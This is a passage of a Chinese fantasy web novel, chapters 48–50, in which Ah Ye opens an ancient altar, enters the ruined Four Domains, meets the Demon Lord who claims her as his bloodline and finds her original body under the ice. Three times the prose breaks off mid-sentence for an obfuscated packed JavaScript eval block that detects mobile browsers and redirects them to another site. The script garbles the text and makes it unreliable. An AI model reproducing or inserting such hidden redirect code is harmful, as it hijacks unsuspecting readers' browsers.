见他实在痛苦,华谏不由道,“喂,你没事吧?” “没,没事。”巫蕴死死咬住嘴唇,迅速披上黑袍,藏进一声急促的喘息。 华谏心有不忍,合拢折扇,插进腰间,将人扶起,正要开口,眼角余光中,忽有一庞然大物显形。 环形石盘上雕刻百种兽面,或青面獠牙,或凶神恶煞,绝非善类,但统统被正中间一根青晶柱镇压,牵以重重锁链,凛然不可犯。 这是一座祭坛。 48. 四族 “回来吧……” “我们的……” 我们的……什么?阿也恍惚间走上石盘,兽纹凹凸不平,硌着脚底生疼。她站在青晶柱前,握住锁链,像是徒手抓着一节寒冰,火焰自然而然地倾泻而出,一路攀高。 锁链在火光中融化,赤红色的铁水顺着柱身流淌,照亮了青金色的文字,晦涩而古老,和镜湖下那座灰白石碑上的如出一辙。 “你可识得……”阿也转头,见二人互相搀扶着,巫蕴脸色尤其差,蹙眉道,“怎么了?” “他……”华谏刚要解释,手被人一把按住。 巫蕴长舒一口气,“无事。”他撑起身体,走近了,仔细辨认柱上的文字,“这是祭祀用的叙事诗。” “叙事诗?”华谏跟上来,“讲的是什么?” “讲的是一位……剑仙的故事。”巫蕴抚过柱上的文字,“剑仙在山林隐居之时,开辟出一方净土,不分族裔,收留了逃亡的难民,一视同仁地教习他们,被供奉为新的君王。” “然后呢?”阿也问。她指向柱顶大片扭曲的图案,虽读不懂,却能体会到其中溢出的悲伤,似是天哭之象,“剑仙死了?” “只是暂时沉睡。”巫蕴一顿,“或许还会醒来。” “那族裔是什么?我从未听过如此说法。”华谏问。 “五州之上,共分四域。自上古三皇飞升后,麾下十三氏族日渐没落,逐渐形成仙魔妖灵四族,分域而治,其中,侍奉血统至纯者为君王。” “剑仙,剑仙……”华谏品咂一下,好奇道,“既是剑仙,岂非仙族之人?” “曾经是。”巫蕴回答。 “曾经是?”华谏不解地拧眉,“那他为什么离开仙族?” “……不知。”巫蕴道。 “这样……”华谏无意间侧首,见阿也盯着柱身中央发呆,定睛看去,是一处拇指大小的圆形凹槽,“这是什么?” 阿也抬手摸过凹槽,好熟悉的尺寸。 从储物戒的零散之物中挑出圆形或球形的物件,忽然间,她的手一顿,虚停在那颗光彩夺目的珠子上方。 鎏金海扇贝珠。 曾是云间派送给华重楼作为寿礼的七宝佩珠之一,后被他单独拆出来作为十六岁的生辰礼赠与华烨——似乎别有用意。 阿也举起贝珠,仔细对日照看,意外发现璀璨光华中一圈细如发丝的文字,与青晶柱上的同出一处。 “这上面写了什么?”阿也递给巫蕴。 巫蕴依样接过,“是句祝词。”他扫了一眼,慢慢念了出来,“莫失莫忘,仙寿恒昌。” 是祝寿词,却不是五州文字。阿也心想,这真的是送给华重楼的寿礼么? 不,不对。她莫名生出一种预感,这贝珠并非是送给华重楼,而是借他之手,转送给真正需要它的人—— 华重楼,果然早就知道。 心头顿时涌上一种难以言喻的怒火,阿也不由攥紧贝珠,察觉指节泛起用力过度的青白,又劝自己松开来,转身要塞进凹槽,又被华谏拦下,“你真要……塞进去?” “万一拿不回来了怎么办?”华谏抿唇,迟疑道,“我并非嫉妒,但……总归是阿父的一番心意。” “他早知我非华烨。”阿也深深吸气平复,淡淡道,“送我此物,就是为了这一天。” 真难为他对着自己演了三年。 “你,你胡说!阿父不是这样的人!这其中必定是有什么误会!”华谏抓住阿也小臂,像是要抓住别的什么东西,恳求道,“别塞进去,你要是塞进去,就,就再也找不回来了……” “制住他。”阿也平静道。 “是。”巫蕴上前,几招便擒住华谏,将人压制在石盘上,动弹不得。 “你!”华谏愤怒地瞪着巫蕴,见人不予回应,又转向阿也,眼神一黯,脸色由红转青,再转白,张了张口,嗫嚅道,“阿父他……” 不想再听,阿也偏过头,转身将贝珠塞入柱中,听得咔嚓一声,严丝合缝。 “轰隆——” 石盘剧烈震颤起来,一条条裂缝爬上青晶柱,自下而上地龟裂,碎屑纷纷扬扬,仿佛被隔开的虚空残片,一道漆黑窄缝显形,像是紧闭的蚌壳被撬开一线,传出汹涌浪涛声。 熟悉的水声。阿也想,在吃下生热丹的那一晚,她骑着死去的蛟龙飞上夜空,亲手揭开那轮虚伪的圆月时,听到一模一样的水声。 一步步向那窄缝靠近,而窄缝仿佛感知到她的到来,寸寸扩大,点点莹光从黑蒙蒙的内里飘出来,迎面落在发间眉梢,渐渐凝固。 捋过一缕鬓发,刹那间,掌心落满了大大小小的乳白色晶球……是元晶,通体纯白,无一丝杂质。 这就是元晶的来历?阿也似是想起什么,忽地转身,回到华谏面前,认真道,“你要跟我一起走么?我不会再回来了。” 见华谏神色一滞,她补充道,“若你不愿同我走,我会替你调查身世的。” 毕竟华谏待她不错,她也记得华谏命格显化的模样,加上四域以血脉分族,想来应该很好找。 至于她自己,反正什么都没有,没有家,也没有朋友,去哪里都一样。等复活华烨之后,让巫蕴将人送回来,就两不相欠了。 “我……” 华谏用力闭上眼,像是做出极其痛苦的决定。就在她以为会被拒绝时,他睫羽剧烈颤动着,仿佛被蛛网收紧的濒死飞蛾,“我……我和你一起走。” 阿也有些意外,怔了片刻,方道,“那就一起去吧。”她对巫蕴使了个眼色。 巫蕴颔首,松开华谏,见他无力地踉跄几步,一副失魂落魄的模样,迟疑一瞬,还是伸手搀了一把。 华谏低声道:“谢谢。” 三人一前一后步入窄缝之中,沉沉黑暗模糊了意识,不知过了多久,被哗啦水声唤醒。 “这里是……”巫蕴道,“无妄海。” 这里是……真正的无妄海。 阿也贴在内壁上,像琉璃缸中的一尾鱼,隔着透明的屏障,观察另一个世界。 隔着一层水膜,细腻的白沙之上,礁石乱砌,缝隙里海藻柔软地纠缠,时分时合,散发出幽微的莹光,吸引小鱼小虾成团聚集,啃食藻叶,或是在系结处产卵,一派生机盎然。 水茧悠悠上浮,慢慢脱离海藻的逗弄。 随着距离拉远,光亮愈淡。暗流涌动,时不时有猩红的竖瞳闪过,伴随着尖利的磨牙声,或鳞片开合时令人牙酸的咯吱声。 偶尔能窥见一星半点,譬如长满眼珠的肉翅,利齿间的茸毛,触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283843|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上带刺的吸盘……都是不曾在典籍中见过的记载,但气息凶悍,暴虐成性,是远超五州的强大。 有些好战的,见到软绵绵的水茧飘近,跃跃欲试,但一对上她的目光,又噤若寒蝉般缩了回去,正如当初那只在雾中缩颈拢翼的三头乌。 她原来真是什么了不得的人物。阿也无声笑笑,视线掠过被外部景色震撼的华谏,停在沉默的巫蕴身上。 他以前来过这儿。她断定。 但这一年间并无异动,说明巫蕴并非通过天堑进入五州,加上刚才那一遭,说明他虽见过祭坛,却不知开启方法,那么问题来了—— “你是怎么进来的?”话一出口,心下隐约有了答案。 巫蕴曾说过,她是五州之主。 从字面意义来看,恐怕那个有关苍狼的梦就是某种预告。这样想来,进入五州的方法大概与自己有关,比如说赐予某种信物或者秘匙之类的…… “我……”巫蕴犹豫要不要全盘托出,还是另寻时机,但她的目光已然落在他右耳上。 是那晶柱。阿也对自己说,是虫巢核心,是师祖遗物。 一切都串了起来。公子闲依靠晶柱强破天堑降下陨星,设下五州覆灭之局,而师祖借助晶柱感知到自己,送来作为钥匙的贝珠,为这一天提前做好准备。 可惜她忘了晶柱的来历,甚至连自己也忘记了。 兜兜转转,造化弄人。 “还有个问题。”阿也又问,“公子闲是谁?” 简简单单的三个字一出,巫蕴瞳孔一缩。这是她第一次见他流露出如此强烈的情绪,不只是怨恨,还有恐惧……以及一些别的东西。 “是附身席子瑞的那个灵体吗?”华谏突然插话,巫蕴趁机收敛神色。 真是个愣头青。阿也抿唇,有些后悔,早知道刚才就应该直接把人丢在外面。 “他是……”半晌,巫蕴字字斟酌道,“您的敌人。” 说了等于没说。阿也想,这又有什么好隐瞒的?她决心弄清楚这一点,继续追问,“那我和他之间……” 话音未落,水茧上浮的速度忽然加快,像是被强行提杆的一尾游鱼,眨眼间行进千尺。水流湍急,气泡蜂拥而至,扰乱了视线。 忽然间,阿也注意到飘散的一缕稀薄红色,抬起头来,海面近在眼前,一片敦实的幽蓝之中,有黑线交织游动,似曾相识。 等等!阿也一个激灵,猛地站了起来,火焰在掌心燃起,幻如虚影。 摇摆不定的海藻,前来试探的混元兽,突然加快的水茧,遮掩视线的气泡,以及流窜的黑气,一切正如闯阵时石厅里四方锥塔上的骷髅头骨中的两点绿光—— 有人正在暗处窥视她们。 “轰隆——” 汹涌烈焰破开冰层,仿佛火山喷发,水花四溅,雾气蒸腾,徐徐散去,四域终显眼前。 天空是破碎的,阴云堆成纵横的沟壑,像被犁过一遍,而太阳远挂云端,并无热意,像一朵风干的黄花。 冰面之上,锁链纵横交错,织成天罗地网,结满雪白寒霜或赤红锈迹,像是预备捕捞破水而出的巨兽。 而大地孤零零地悬浮在海天之间,一望无际,也是破碎的。四大板块围绕中心的空缺缓缓飘移,像是日升西落,万物轮回。 49. 伏击 “这就是四域?”华谏不可置信,“怎么这般……破败。” “以前曾是瑶台阆苑。”巫蕴道,“但历经三次大战后,变成如今这般模样。” “三次大战?”华谏喃喃自语,似乎已经料见是何等惨烈,叫天崩地裂,海啸山摧。 “主人?”注意到阿也的异样,巫蕴关切道,“可有不适?” “为什么……是冷的?”阿也扶起一片阳光,薄薄的,仿佛一掐就碎,像极了阴山秘境里那轮虚假的太阳。 没有太阳,万物如何生长? 淡淡的死气在鼻尖萦绕,这里没有风,云不会飘,水也不会流,一切都是静止的,死一般的静止,寂静到诡异。 “岱舆之山,上有扶桑树,高万丈,巅有金乌,衔日而生,但在第二次大战中,山崩树折,金乌不知所踪,天地瞑瞑。” “那现在这个是?”阿也指向天边那个像是画上去一般的太阳。 “第三次大战中,妖族落败,仙王屠烛九阴,以其目再造新日,还天地光明,但自此以后,千木凋零,万兽绝迹。” “那第一次大战呢?”阿也问,“听起来似乎没有后两次这么惨烈。” “第一次大战……”巫蕴道,“仙族被妖魔二族合力攻陷,险些灭亡。” “真是分久必合,合久必分。”华谏感慨一句,“四族就这样来来回回打了三次?没有统一的时候?” “自上古以来,便未曾有过相关记载。四族各司其职,相互制衡,难分高下。” “那剑仙呢?”华谏又问,“不是被奉为新的君王吗?” “叙事诗虽是如此记载,但不为史书承认,称之为……背弃的第五族。” “那……”华谏还想问,被阿也抬手制止,“等等,有人来了。” 不知何时泛起白雾,浓稠得挥不开。锒铛声响里,憧憧黑影显出轮廓,逐渐清晰,传来熟悉的呓语,“吃……吃了她……” 唰的一声,华谏挥袖开扇,挡在阿也身前,警惕道,“这些是什么东西?” 四面八方围拢而来的并非伥鬼,而是如白一一般的活死人,动作僵硬如被锈蚀的铁皮娃娃,黑色兜帽之下是粗制滥造的硬木面具,仅露出一双双浑浊的眼睛,有黑气翻滚不息。 “是尸傀。”阿也低声说。 冰层在齐整的脚步下震颤,碎屑弹动,落在阿也脚面。她张开五指,火焰在脚下画出安全的边界,红莲迅速成形,即将盛开的瞬间,却被巫蕴拦截。 “主人,不必亲自动手。”他恭敬道,提刀横亘眼前,劈出一道锐利的银线,击退面前尸傀,率先冲了出去。 “喂!”华谏紧跟上去,“等等我!” 银光与绿光一前一后杀入尸傀群中,如入无人之境,时不时纠缠到一处,像是两道互相竞争的闪电,比较谁更加耀眼。 火莲静静躺在掌心,阿也极目远眺,阴云之中流淌出黑色的符咒,迅速浸染天边那块亮斑,向中心汇聚,仿佛竖直的瞳孔。 原来梦中一直窥视她的人,是公子闲。 “哗啦——”锁链微荡。 步伐轻灵如雪花,阿也行走在寒霜与锈迹之间,如履平地,脚下黑压压的一片,仿佛群聚的蚁群,被那两人撕得四分五裂。 还算安全。她放下心,迎着窥视的目光,向上方攀去,越过深厚的沉积岩,得见真实的大地——满是豁口和破洞,简直千疮百孔。 在巫蕴提起那些战乱时,无论前后抑或轻重,胸膛里的一颗心始终揪得紧紧,于是阿也知道这三次大战都与自己有关。 盯住被四大板块围绕的空缺,阿也直觉那里本该被什么填充,但记忆反复拍打那层坚固的墙壁,始终无法突破。 每当炼化一些火焰,那墙就会薄一些。阿也有种预感,如果她想寻回完整的自己,那么复活华烨是必不可缺少的一环。 风开始流动了,发梢微微颤动。 黑气逐渐脱离亮斑,汇聚成面容模糊的鬼影,轻轻落在同一条锁链上,与自己遥遥相对。 “公子闲。”阿也一字一顿,托起一朵掌心大小的火莲,正欲掷出,鬼影蓦地消散了,化作数百股黑气,径直冲向下方的尸傀群。 不好!阿也察觉他的意图,一跃而下,狂风呼啸而过,视野被层层锁链分割,终于看见相互扶持的二人—— 巫蕴尚有余力,但华谏已挂了彩,颈侧被尖利的指甲擦过,留下渗血的红痕。 眼看黑气藏匿尸傀间,继续偷袭,阿也当机立断,踩着锁链加速下坠,在贴近地表时引爆火莲,热浪席卷,将附近的蚁群统统掀翻。 “你……”华谏愣愣地看向她,眼底倒映出火光中她飞扬的长发。 看什么看,这个愣头青!阿也暗骂一句,落地时提膝转身,以万钧之力踏碎冰层。华谏被余力撼动,身形一歪,堪堪躲开背后那股黑气。 她俯冲上前,一把抓住华谏的手臂,甩到身后,踹开尸傀,五指随手划过,火刃激射而出,清理出一里空地。 甜腥涌上喉头,阿也一声闷哼,强行压了下去。 前方的巫蕴似有所觉,迅速撤退,守在她身边,低声道:“主人。”他手背绷起青筋,长刀蓄势待发。 望一眼尸傀,仍有半里距离,还有时间容她思考对策。阿也慢慢舔过齿间,尝到浓郁的铁锈味,“无妨。” 火焰不论对尸傀还是黑气,都是致命的克星,只是她还不能熟练掌握这股力量。稍有不慎,就会给肉身造成不可逆的损伤,像是用烈焰灼烧根系。 正如此时此刻,汹涌元力在经脉间冲撞,五脏六腑仿佛被火灼烧,烧心破肺。 这感觉似曾相识。阿也心道,电光石火间,想起吃下生热丹的那一回。那时热力快要将她融化,但在失控之际好像喝下什么,如同畅饮清凉泉水,平息了那股狂躁。 究竟喝了什么……阿也努力在回忆中发掘破局之法,直觉答案就在其中,指尖抚上唇瓣,余光却见华谏忽然后退一步,脸色涨红,于是一切骤然清晰—— 在昏暗的地道里,她强迫华谏,喝了他的血。 “你……”见人逼近了,目光灼灼,像是要把他烧穿一般,华谏忍不住后退更多,“你想干什么?” “抱歉。” 话音未落,阿也一记手刀敲晕华谏,将人扶住又提起,埋首颈间,嗅到擦痕里一股说不清道不明的味道,像是熟透的蜜桃散发出诱人甜香,情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289218|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自禁地舔过,忍不住贪图更多,于是咬破那层细腻的皮肉。 温热流进腹中,浑身舒畅。 一人高的红莲逐层盛开,尖细如针的花蕊升空,而后四散开来,逐一爆炸,所及之处,点燃耀眼的火光,织成一片浩荡火原。 察觉怀中人一颤,似是到了极限,阿也将华谏平放在火毯之上,抬起头来,注视野火在冰上跳动,肆无忌惮。 而巫蕴始终站在原地,不曾动作。 阿也微微偏头,唇染着一片薄红,“你早就知道?”虽是问句,却说出肯定的语气。 “是。”巫蕴颔首,十分坦然。 正因为他知晓身世,所以才会带上华谏—— 作为她的“药”。 随手挥洒出更多火刃,将漏网之鱼斩切为两半,阿也问,“他归属于哪一族?” “是灵族……之人。”巫蕴回答。 只怕不止如此。阿也从这停顿中悟出更多,嫌手段太慢,干脆一掌拍在冰面,火焰沿着蛛网般的裂纹向前飞窜,忽然间,齐齐熄灭了。 “啪嗒、啪嗒——” 霎那间,暴雨倾盆。与其说是雨,不如说是指节粗细的冰锥,扎推冲进火焰中,升起白雾,偃旗息鼓。 更多冰锥碎裂,渣滓聚拢,节节拔高,拼凑出龙形,柔软地摇摆着,如同迎着节拍起舞。最后几粒冰碴融进冰龙双角之间,绘出四方锥塔的图案。 感知到内里蕴藏的磅礴寒气,绝非能轻易消灭。阿也瞥一眼昏迷的华谏,心道,恐怕得大出血了。 “主人,你先走。”巫蕴低声道,率先挡在她身前,刀尖斜斜点地,一副同归于尽的架势。 “要走一起走。”阿也想也不想道。火焰在周身游动,与庞大的冰龙相比,像是一条刚破壳的小蛇。 剑拔弩张之际,笼罩头顶的阴云忽然破开巨大的口子,一团比亮斑更加闪耀的紫色火焰从天而降,带着仿佛要贯穿天地的气势。 冰龙无声咆哮,震尾升空,直冲紫火而去,只一个照面,寒气冲散了星光。 水汽之中,男人显出身形。 玄色华服加身,以金冠束发,明明极年轻的长相,眼神却沧桑,仿佛历经多年风霜,眉间恶紫色的江崖海水纹闪烁着,魅极,也野极。 “这么着急做什么?”男人把住冰龙一角,竟让它动弹不得。他嗤笑一声,合拢五指,歪头道:“就这么迫不及待地想把人带回去?” 紫火喷涌而出,化作条条绳索,将冰龙五花大绑,动弹不得。 咔嚓一声,他徒手掰断龙角,在手中碾得粉碎,随意抛洒,阴森森道,“怎么不问问孤这个长辈的意见?” 冰龙无声嘶吼,撞开火绳,鳞片融化,又凝结。它抖落簌簌碎屑,藏入阴云之中,盘旋游动,像是潜伏草丛的毒蛇,等待下一次出手的时机。 阿也望向半空中的男人,视线落在他袖口滚动的紫火上,散发着与手中透明火焰相近的气息,仿佛同宗同族。 似有所感,男人低头与她对视,视线掠过华谏颈侧的牙痕和护在身前的巫蕴,轻佻地吹了声口哨,“没想到两百年过去了,你还是魅力不减啊。” “不愧是孤的血脉。” 50. 空洞 阿也一个踉跄,险些栽倒,见男人与冰龙缠斗,不落下风,干脆坐在火毯上,转向巫蕴,问道,“他是谁?” “魔君,殷珅。”巫蕴深深颔首,以示敬重。 那他的血脉……阿也指了指自己,“我是魔族中人?” 巫蕴一顿,“算是。” 什么叫算是?阿也一噎,自知按他的性子问不出更多东西,干脆观察起殷珅的招式。 他手持一把古刀,通体暗红,隐有风雷萦绕,刀技纯熟,逗得冰龙团团转,时不时斩切而过,仿佛替鱼刮鳞,削下大片冰晶,刀柄处的龙头在哀鸣中震颤,似是极为欢喜。 瞧这手法有点眼熟,阿也转向巫蕴,“你也是魔族中人?” “我并非魔族中人,而是承蒙魔君搭救,入其麾下为他效力。”巫蕴道,“是魔君派我前来接应您。” “为……”为什么是你?不等话出口,立刻有了答案。目光落在他被小辫遮掩半边的右耳骨上,阿也问,“那晶柱是什么?” “是……”巫蕴斟酌道,“信物。” 果然如此。阿也想,那云间派师祖……她才张口,巫蕴却像是提前预知到一般,低声道:“云娘……是您的奴婢。” 奴婢?阿也倏地睁大眼,心头抽痛起来。恐怕不只是那样简单。她想着,开口问:“那我是谁?是哪族中人?” 无论是姓名还是身份,总得回答一个吧? 巫蕴却住了口,以缄默相对。 “你……”阿也忍不住磨牙。一知半解比一无所知更让人恼火。 “孤在这儿累死累活的,你们就聊得这么开心?”殷珅埋怨的声音从上方传下来,“怎么不来帮帮孤?” 巫蕴立即起身备战,阿也则懒洋洋地翘起腿,看着男人在冰龙喷吐的漫天冰棱中闲庭信步,哪有半分劳累模样,分明乐在其中。 看样子他和公子闲恩怨不浅。她心想。 “无趣。”殷珅玩腻了,猛地震腕,刀身刺进冰龙额间,缓缓转动,四方锥塔寸寸迸裂,冰屑在火焰中融化,降下倾盆暴雨。 他优雅收刀,待雨停后轻巧落地,拍去身上的冰屑,整理好被风吹乱的鬓发,见阿也起身欲走,赶忙拦住,气急败坏道:“你跑什么?” “你找我干什么?”阿也不客气地问,直觉他找自己定然没什么好事。 “要不是你是孤唯一的血脉,孤才懒得费那么大的劲把你从那破地方捞出来,你可知花了孤多少心血?……”殷珅声声控诉,如杜鹃泣血。 简直像几百年没说过话一样。阿也心想,见他半天说不到重点,于是转身。 “你不想找回肉身么?” 阿也回头,原本看戏的目光骤然凌厉,“细说。” “回去再说。”殷珅环视一圈,露出嫌弃的表情,又昂起下巴点了点,“我魔族的宫殿可比这儿阔气多了,哪里是五州能比的?” 他居然知道五州是什么样子,阿也瞥一眼身旁的巫蕴,想必是有人时时刻刻都惦记着汇报。 心头不爽。阿也索性坐回火毯,指了指身旁昏迷的华谏,“二对二,平局,就在这儿说。” “现在是三对一。”殷珅竖起食指,摇了摇。 三对一?不等阿也反应过来,巫蕴率先扛起华谏,大步回到殷珅身后。 果然不可全然信任。阿也暗自咬牙,不得不起身,“去哪里?” 火光再度撕裂阴云,连成片的宫殿在脚下显形。黄金顶,丹漆壁,白玉阶,应龙在阑干之上舒展身姿,因遍布风霜的痕迹而颇显古韵,仿佛岁月从中悄然流过。 这里的天是纯粹的晴蓝色,阿也伸出手,掬起一片光亮,连阳光……也是温暖的,和刚才所处,仿佛两个世界。 殷珅瞧出她的疑惑,轻哼一声,挺起胸膛,“这可是孤好不容易抢来的烛九阴的昼目。” 阿也不理解这有什么好骄傲的。 回到最宏伟的宫殿……的偏殿。 推门而入,金铃被风拂动,摇出清凌凌的声响。木画屏风,绿琉璃窗,椽栋皆刻应龙纹,作飞天之姿,鳞甲分明。 连一个偏殿都如此豪奢。阿也咂舌。 “主人。”巫蕴撩起缀有五色流苏的帷帐,微微颔首。 阿也目不斜视地跟在殷珅身后进去,与人隔着金漆几案对坐,随后巫蕴离开,门被合上。 一缕青烟自炉中升起,是馥郁的浓香。 太……香了。阿也微微后仰,面上却不显。 殷珅由上至下地将人仔细打量一遍,眉头一皱,就在阿也以为他要说出什么箴言时,他嘴角一扯,“这皮囊不怎么样。” 阿也当即起身。 “别别别,玩笑话,先入座。”殷珅好不容易劝人坐下,神色终于正经,视线落在阿也心口,语气凝重,“好强的封印。” 听这语气,莫非连他也解不开?阿也讶然,不由贴上心口,隔着一层坚固屏障,感受内里微弱的波动。 实际上,她醒来时便察觉到这封印,牢不可破,想必是在更早之前……阿也忽然想,或许是黑焰留下的。 “封印之内,尚有残魂,亟待清理。”殷珅沉声道,“否则主次混淆,难以分辨。” “我拒绝。”阿也想也不想道。 殷珅眉头一皱,“莫非这残魂,是你这身皮囊的主人?” 阿也点点头。 “如此。”殷珅沉吟片刻,眉眼舒展开来,“那便只能由你亲自寻回肉身,等解开封印,自然有办法救她,算是两全其美之策。” 他说的真诚,笑却是不怀好意。阿也思索着,想不明白殷珅大张旗鼓地助她,又劝她寻回肉身,究竟想从她这里得到什么。 “尽快考虑罢。”殷珅幽幽道,“你实力渐长,若是撑破这具皮囊,到时候身陨魂消,追悔莫及。” 但无论如何,至少和她的本意不冲突。阿也抬起头,斩钉截铁道:“我的肉身在哪里?” 三日后,极北之地。 四面环山,山脊此起彼伏,是纯净的雪白,一如脚下覆霜的地面,风从峰峦的缺口涌进盆地,将雪粒打磨圆润。 好冷,比穆州还要冷。阿也在寒气里看见自己的呼吸,察觉睫羽逐渐变沉,大概在结冰。她想,早知道刚才就不该拒绝殷珅的好意。 “主人。”巫蕴脱下身上的大氅,双手呈给她。 大雪纷飞,眨眼间,落满了单薄的黑袍,巫蕴却像感觉不到似的,依然维持着这个动作。 僵持不过,阿也接过大氅披上,缓了会儿,冰融化了,顺着睫羽滴落,扭曲了视野里那些排列整齐的人影。 “那些是什么人?”她问。 “是魔君亲随,银甲卫。”巫蕴回答。 上百人统一身着银甲,脸覆银面,背负长刀,像一颗颗尖锐的冰晶,竖直插在盆地中心的空洞旁,如同藩篱。 那空洞巨大,黑漆漆的一片暗,仿佛能吞天噬日,盯着看久了,似乎能将人的魂魄吸进去,直堕无间地狱。 殷珅站在方阵之前,负手而立,声音被风吹上来,冷冽如刀,刮擦着耳膜,“……再无退路。” “轰隆——” 远方回以连绵惊雷,密云翻涌而来,纠如龙蛇,仿佛狂奔的坐骑。 殷珅望向其中一片迅速逼近的阴云,张开五指,紫色火光喷吐着,煅烧出一柄暗红古刀。他信手一挥,刀光破开寒风,将其一分为二。 剧烈的电闪雷鸣之后,两片云合二为一,激涌着扩散开来,将盆地四面包围,仿佛暴怒的浪潮,即将淹没一切。 殷珅仰头,对着半山腰的阿也无声地动了动嘴唇,随即腾空而起,率领银甲卫迎战。 他只说了一个字,“跳。” 天边的银甲与电光相互冲撞,洒下大片血光。阿也偏过头去,琢磨殷珅的话是否值得信任。 这几日相处下来,她能感觉到殷珅在玩世不恭的态度下,暗藏一片真心,但同时更加疑惑,难道仅仅是因为血缘,才让人愿意如此大费周章,做到这一步? 阿也直觉这其中还有别的原因,所以答应来此,暗自准备一番,给自己留下了两条路,她可以跳进空洞,也可以趁机逃脱。 “主人,我来为您探路。” 见她神色有异,巫蕴以为是担心其中危险,于是挥着冻僵的手脚上前,那呆头呆脑的样子忽然就逗笑了阿也。 听见笑声,他不敢再动,慢慢低下头去,露出通红的脖颈。 “不,你留在这里。”她含笑摇头,脱下大氅,挂在巫蕴肩头,随后纵身一跃。 黑暗在面前急剧放大,寒风呼啸,尖得要剜出人眼。阿也不由闭上双眼,感觉有一瞬间,自己好像失去了意识。 冷,好冷。她哆嗦着爬起来,摸到凹凸不平的硬质,掌心被利角划过,好像裂开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295575|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,又好像没有。 阿也睁开眼,忽然愣住了。 梦里的那片荒原在眼前重现,终年不息的狂风卷起冰雪,于是天与地,上下皆白。 她曾无数次走在这里。 掌心隐隐作痛,阿也低下头,看见被血染红的冰面之中,倒映出无数残缺的肢体。 一根根手指,半只或整只手掌,一节小臂或是小腿,更深处是一片晕染开来的暗红色,触目惊心,让人不想,也不敢去深究到底是什么东西。 小到指甲盖,大到半边躯体,密密麻麻、不计其数,让人仿佛身处万人坑的坟场之中。 但很快,阿也发现同类肢体的形状和长度都一模一样,代表这些东西都出自同一个人。 恍惚间,她觉得自己好似案台上的图纸里的木娃娃,等待着工匠打磨主干和肢体,再完成最后的组装,而四周密密麻麻摆着的都是次品,作为可替代,可随时更换的部件。 先找到肉身再说。阿也摇头甩去杂念,随即犯了愁,这么多,要先从哪里找起? 她小心地在冰面刻下标记,但很快被大雪抹去。尝试无果,阿也边走边想,最后演变为漫无目的地行走,不知从哪来,也不知要到何处去。 忽然间,福至心灵,阿也闭上眼,沿着印在心底那串若隐若现的脚印前行。 于无声处,惊雷乍响,她一个激灵,睁开眼,如愿在远方的风雪里寻得一人身形。 眨眼间,风雪迫近眼前,藏匿其中的那人伸出手—— 于是她也伸出手去。 刹那间,万物飞速远去,只余一片漫长的寂静。 风雪散尽了,阿也慢慢蹲下来,卷起衣袖,虚无的火焰缠上指间,融化冰面的白霜。 一点一点的,模糊的人影显现出来。 四肢修长有力,如挺拔的竹节,肌肉线条分明,像是精心雕刻而成,凌乱的长发缠绕着常年不见日光的躯干,仿佛绘在白瓷上诡谲刺青。 火焰奋力跳动着,于是距离越来越近,隐藏在乱发间的面容逐渐清晰—— 那是一种无法言尽的美丽,仿佛一尊被供奉在高台上的神像,不食人间烟火,抑或根本不该出现在这个世上。 看清五官的瞬间,阿也一怔。 这分明是一张从未见过的脸,却又好像在哪里见过,但若是见过,哪怕是路过,也定是惊鸿一瞥,刻骨铭心。 是你啊。她忽然笑了。 在出发前,阿也曾问过殷珅,“我想不起来自己原本的样子,如何判断是不是我的肉身?” “那是你的肉身。”殷珅这样回答她,“只有你自己才能判断。” 所以,尽管从未见过那副黄金面具下的面容,她却觉得,如果那双眼睁开,一定会是妖冶的赤色。 掌心细细摩挲剩下的冰面,薄如蝉翼,几乎是瞬间融化,荡起柔软的涟漪,她拨开水面,触及冰冷的自己。 “咔。”那层封印破碎了。 霎那间,心口像是被豁开一个大洞,纵容风霜和雨雪呼啸而过,将一切都带走,什么也不肯留。 酸雾从中喷吐而出,啃噬浑身上下每一处关节,发出令人牙酸的咯吱声,像是饥肠辘辘的饕餮啃食带肉的骨头,连关节里的髓汁也要吸吮干净。 犹如惊涛骇浪,将人瞬间倾覆。 她好恨。 像是在碑上留下了深深的刻痕,明明当时是如此真切地期盼着能永远留存,但随着岁月流逝,逐渐风化,什么也没能剩下。 努力压抑痛苦的呜咽,却硬生生憋成一口甜腥。她卡住自己的喉头,试图阻止,但最终还是吐了出来,连带着那些恨意一起,溅了满眼猩红。 霎那间,天旋地转,沉闷的一声响。她倒在冰面上,后背被寒意刺透。 死死揪住胸前衣襟,急促地喘息,那里明明没有伤口,却剧烈抽痛着,像是被什么贯穿一般。 时间迅速倒退,回到笼罩街道的雨夜之中。被那把旧剑贯穿的瞬间,她抬起头,对上那副黄金面具之下,妖冶的赤瞳。 究竟是谁? 